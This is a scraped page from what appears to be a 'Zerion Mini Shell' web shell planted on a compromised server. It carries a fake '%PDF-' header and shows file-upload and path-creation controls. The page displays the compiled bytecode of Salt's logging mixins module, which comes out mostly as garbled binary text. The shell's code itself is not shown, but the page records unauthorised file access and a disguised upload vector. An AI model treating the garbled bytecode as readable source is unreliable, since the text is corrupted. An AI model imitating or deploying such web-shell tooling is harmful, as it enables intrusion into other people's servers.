%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/log/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/log/mixins.pyo

�
���^c@@s�dZddlmZmZmZddlZddlZdefd��YZdefd��YZ	defd	��YZ
d
efd��YZdefd
��YZ
defd��YZdS(u�
    :codeauthor: Pedro Algarvio (pedro@algarvio.me)


    salt.log.mixins
    ~~~~~~~~~~~~~~~

    .. versionadded:: 0.17.0

    Some mix-in classes to be used in salt's logging
i(tabsolute_importtprint_functiontunicode_literalsNtLoggingProfileMixIncB@seZdZd�ZRS(uH
    Simple mix-in class to add a trace method to python's logging.
    cO@s&|jttdd�|||�dS(NuPROFILEi(tlogtgetattrtlogging(tselftmsgtargstkwargs((s3/usr/lib/python2.7/site-packages/salt/log/mixins.pytprofiles(t__name__t
__module__t__doc__R(((s3/usr/lib/python2.7/site-packages/salt/log/mixins.pyRstLoggingTraceMixIncB@seZdZd�ZRS(uH
    Simple mix-in class to add a trace method to python's logging.
    cO@s&|jttdd�|||�dS(NuTRACEi(RRR(RRR	R
((s3/usr/lib/python2.7/site-packages/salt/log/mixins.pyttrace"s(RR
RR(((s3/usr/lib/python2.7/site-packages/salt/log/mixins.pyRstLoggingGarbageMixIncB@seZdZd�ZRS(uJ
    Simple mix-in class to add a garbage method to python's logging.
    cO@s&|jttdd�|||�dS(NuGARBAGEi(RRR(RRR	R
((s3/usr/lib/python2.7/site-packages/salt/log/mixins.pytgarbage+s(RR
RR(((s3/usr/lib/python2.7/site-packages/salt/log/mixins.pyR&stLoggingMixInMetacB@seZdZd�ZRS(u	
    This class is called whenever a new instance of ``SaltLoggingClass`` is
    created.

    What this class does is check if any of the bases have a `trace()` or a
    `garbage()` method defined, if they don't we add the respective mix-ins to
    the bases.
    cC@s�t}}}t|�}|dkrjxA|D]6}t|d�rKt}nt|d�r-t}q-q-Wn|r�|jt�n|r�|jt�n|r�|jt�ntt	|�j
||t|�|�S(NuSaltLoggingClassutraceugarbage(tTruetlistthasattrtFalsetappendRRRtsuperRt__new__ttuple(tmcstnametbasestattrstinclude_profilet
include_tracetinclude_garbagetbase((s3/usr/lib/python2.7/site-packages/salt/log/mixins.pyR8s 
	(RR
RR(((s3/usr/lib/python2.7/site-packages/salt/log/mixins.pyR/stNewStyleClassMixIncB@seZdZRS(u�
    Simple new style class to make pylint shut up!
    This is required because SaltLoggingClass can't subclass object directly:

        'Cannot create a consistent method resolution order (MRO) for bases'
    (RR
R(((s3/usr/lib/python2.7/site-packages/salt/log/mixins.pyR$LstExcInfoOnLogLevelFormatMixIncB@seZdZd�ZRS(uj
    Logging handler class mixin to properly handle including exc_info on a per logging handler basis
    cC@s6tt|�j|�}t|dd�}t|dd�}|dkrX|dkrX|S|j|krk|S|jr�|r�|S|jdkr�|jdkr�t	j
|_n|jj|j�|_n|ddkr�|d7}ny||j7}Wn0tk
r(||jj
tj�d�7}nXd|_|S(un
        Format the log record to include exc_info if the handler is enabled for a specific log level
        uexc_info_on_logleveluexc_info_on_loglevel_formattedi����u
ureplaceN(RR%tformatRtNonetleveltexc_info_on_loglevel_instancetexc_info_on_loglevel_formattedt	formatterRt_defaultFormattertformatExceptiontUnicodeErrortdecodetsystgetfilesystemencoding(Rtrecordtformatted_recordtexc_info_on_loglevelR*((s3/usr/lib/python2.7/site-packages/salt/log/mixins.pyR&Zs.	

		(RR
RR&(((s3/usr/lib/python2.7/site-packages/salt/log/mixins.pyR%Us(Rt
__future__RRRR0RtobjectRRRttypeRR$R%(((s3/usr/lib/python2.7/site-packages/salt/log/mixins.pyt<module>s				

Zerion Mini Shell 1.0